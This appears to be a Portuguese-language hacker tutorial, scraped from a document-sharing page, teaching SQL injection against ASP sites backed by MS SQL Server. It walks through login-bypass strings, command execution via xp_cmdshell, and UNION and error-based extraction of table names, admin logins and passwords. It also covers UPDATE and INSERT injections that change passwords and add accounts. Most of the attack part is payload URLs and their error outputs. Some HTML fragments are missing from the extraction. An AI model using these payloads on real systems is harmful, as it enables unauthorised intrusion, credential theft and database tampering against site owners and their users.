Você está na página 1de 4

SQL Injection

Advanced sql injection

Introdução

Nataniel A.K.A < Stinger >

stinger@hackermail.com

http://www.windefense.hpg.com.br

**********************************************************************
* *
* *
* *
* *

1 - O que é sql injection ?


é um truque para injectar comandos SQL via paginas web , já que qualquer pagina web recebe parametros do
usuario e os transmite para o banco de dados .
Imaginemos por exemplo uma pagina web escrita em asp que nos peça o username e a password . O que a pagina
web vai fazer é enviar o username e a password para o banco de dados e este verificar se é um user ou password
validos !
Então porque nao inserimos codigos SQL ? OK ! Isto só nao é teoria como é possivel !
2 - O que é preciso ?
Qualquer web browser
3 - Onde eu começo ?
Tente olhar por paginas que posssuam logins , submits , feedback search etc , enfim essencialmente paginas que
possuam codigos asp ! Mas nós sabemos que os codigos em asp sao interpretados no server ! ok ! tente olhar para o
codigo HTML então . Por exemplo :
C

Vemos aqui codigos delimitados por


e
que podem ser exploitados
4 - Que linguagens sao vulneraveis ?
Paginas web com ASP, JSP, CGI, ou PHP , tente por exemplo observar esta pagina http://windefense/index.asp?
id=10
5 - Como testar se uma pagina é vulneravel ?
Tente começando com um simples truque em um campo que receba parametros ex : username
Password
coloque :
hi' or 1=1--
Podemos testar assim :
 username: hi' or 1=1--
 Password: hi' or 1=1--
Ou com a seguinte URL
 http://windefense/index.asp?id=hi' or 1=1--
Nós tinhamos visto antes um form vulneravel , ele segue abaixo :
C

Bem podemos fazer umas trocas para nossos intuitos !( Veja o html da pagina alvo e faça alterações e depois salve)
hi' or 1=1--
http://windefense/Search/search.asp method=post>
Se der certo podemos nos logar sem qualquer username ou password !
6 - Como executar comandos remotos com SQL injection ?
Se podemos injectar comandos sql então estamos aptos a correr comandos com boas permissoes , e note que o MS
SQLserver corre por default com privilegios de sistema ! ( Equivalente a privilegios de administrador )
Observe por exemplo a seguinte string que nos permite executar comandos no server :
master..xp_cmdshell
Podemos tentar uma execução de comando :
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
Tente usar a cota dupla(") ou a simples(') se nao der certo
7 - Caçando dados do banco de dados utilizando ODBC error message
Nós podemos manipular os erros ODBC do banco de dados para trazer dados do banco de dados observe por
exemplo esta URL normal :
http://windefense/index.asp?id=10
nós podemos tentar unir ( UNION ) o valor '10' com outra string do banco de dados , observe :
http://windefense/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES--
A tabela INFORMATION_SCHEMA.TABLES contem informações sobre todas as tabelas do sistema com a string
TABLE_NAME podemos receber informações sobre nomes de tabelas no banco de dados .
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
Retorna o nome da primeira tabela do banco de dados . Se o sql server tenta converter a string UNION para um
integer ocorre o erro seguinte :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. /index.asp, line 5
Algo nos interessa aqui . Podemos ver que provocamos um erro e retornamos o nome da 1ª tabela do banco de dados
que é "table1" . Para obter o nome da proxima tabela inserimos a seguinte query :
http://windefense/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
Ou procurar dados com uma query , inserindo um comando sql de comparação (LIKE) :
http://windefense/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
Onde o output é o seguinte :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5
Neste caso nos retornamos com a string , '%25login%25' na tabela escolhida (TABLE_NAME) , contendo a string
"login" que retornou o login do admin que é "admin_login".
Podemos mapear tabelas com a seguinte string :
INFORMATION_SCHEMA.COLUMNS
http://windefense/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
Output :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index.asp, line 5
Agora nós podemos usar a string NOT IN () para trazer o nome da proxima coluna :
http://windefense/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME
NOT IN ('login_id')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5
Agora se raciocinarmos um pouco podemos obter outras coisinhas importantes como nomes colunas de id's ,
passwords , detalhes etc com a seguinte query :
http://windefense/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME
NOT IN ('login_id','login_name','password',details')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL
Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line
5
Como retornar dados :
Vimos acima que podemos identificar nomes de tabelas , colunas etc . Agora o bom disso é que podemos utilizar a
mesma tecnica para retornar dados da mesma , como por exemplo retornar o 1º "login_name" da tabela
"admin_login" com a seguinte query :
http://windefense/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. /index.asp, line 5
Já conhecemos o login_name que é "neo" agora precisamos conhecer a password com a sequinte query
http://windefense/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where
login_name='neo'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. /index.asp, line 5
Podemos ver realmente que retornamos aqui uma password "m4trix" para um user "neo" .
Como retornar passwords com valor numerico !
Um problema com este tipo de retorno é que valores numericos nao podem ser retornado via uma query do tipo :
http://windefense/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where
login_name='trinity'--
Se o usuario possui uma password do tipo : "31173" provavelmente teriamos no nosso browser o seguinte : "Page
Not Found"
Para resolver este problema nos podemos juntar uma string numerica com alguns alfabetos :
http://windefense/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM
admin_login where login_name='trinity'--
Simplesmente usamos o sinal de (+) para juntar a password com qualquer texto que nós queremos (Codigo ASCII
para '+' = 0x2b). Nós juntamos com um espaço(%20) a palavra morpheus . E manualmente chamando a função
convert() para converter '31173 morpheus' dentro de um integer, o servidor sql retorna o seguinte erro :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. /index.asp, line 5
Podemos ver que a password "31173" é retornada antes da string "morpheus"
Updates , e inserção de dados !
Se podemos retornar dados de uma tabela certamente que podemos updatear(actualizar) e inserir dados dentro do
banco de dados :
Imaginemos o seguinte cenario podemos trocar usernames , passwords , inserir novos users , novas passwords etc .
Tentemos trocar a password para o user "neo" :
UPDATE = Comando sql para actualizar dados
http://windefense/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE
login_name='neo'-- Agora o user "neo" tem uma password com o nome "newpas5"
INSERT = Comando sql para inserir dados
Para inserir dados na database usamos a seguinte query :
http://windefense/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details')
VALUES (666,'neo2','newpas5','NA')--
Podemos notar aqui novos valores da tabela admin_login como : ('login_id', 'login_name', 'password', 'details') para
valores de : 666,'neo2','newpas5','NA'
Podemos nos logar como user "neo" e pass "newpas5"
conclusão :
Este txt nao foi nada lá dos melhores mas se termos em conta que ele foi apenas uma introdução ja serve como
petisco .
Links e referencias :

rfp - o homem que hackeou o forum da packetstorm


http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

como obter informações de erros ODBC

http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc

Um bom sumario de sqlinjection em sql servers


http://www.owasp.org/asac/input_validation/sql.shtml

A empresa sul-africana sensepost fala sobre sql injection


http://www.sensepost.com/misc/SQLinsertion.htm

Outros :

http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf
http://www.scan-asssociates.net

Você também pode gostar